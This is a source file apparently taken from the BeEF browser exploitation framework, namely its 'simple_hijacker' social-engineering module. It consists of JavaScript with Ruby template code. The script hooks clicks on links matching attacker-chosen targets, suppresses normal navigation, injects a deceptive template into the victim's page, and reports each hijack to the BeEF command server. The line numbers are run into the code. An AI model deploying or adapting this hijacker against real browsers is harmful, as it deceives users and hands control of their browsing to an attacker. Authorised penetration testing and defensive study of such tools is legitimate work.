Path: blob/master/modules/social_engineering/simple_hijacker/command.js
1873 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//567hijack = function(){8function send(answer){9beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer);10}11<% target = @targets.split(',') %>12$j('a').click(function(e) {13e.preventDefault();14if ($j(this).attr('href') != '')15{16if( <% target.each{ |href| %> $j(this).attr('href').indexOf("<%=href%>") != -1 <% if href != target.last %> || <% else %> ) <% end %><% } %>{17<%18tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{@choosetmpl}.js"19file = File.open(tplpath, "r")20@template = file.read21%>2223<%= @template %>24beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Template "<%= @choosetmpl %>" applied to '+$j(this).attr('href'));25}26}27});28}2930beef.execute(function() {31hijack();32beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Hijacker ready, now waits for user action');33});343536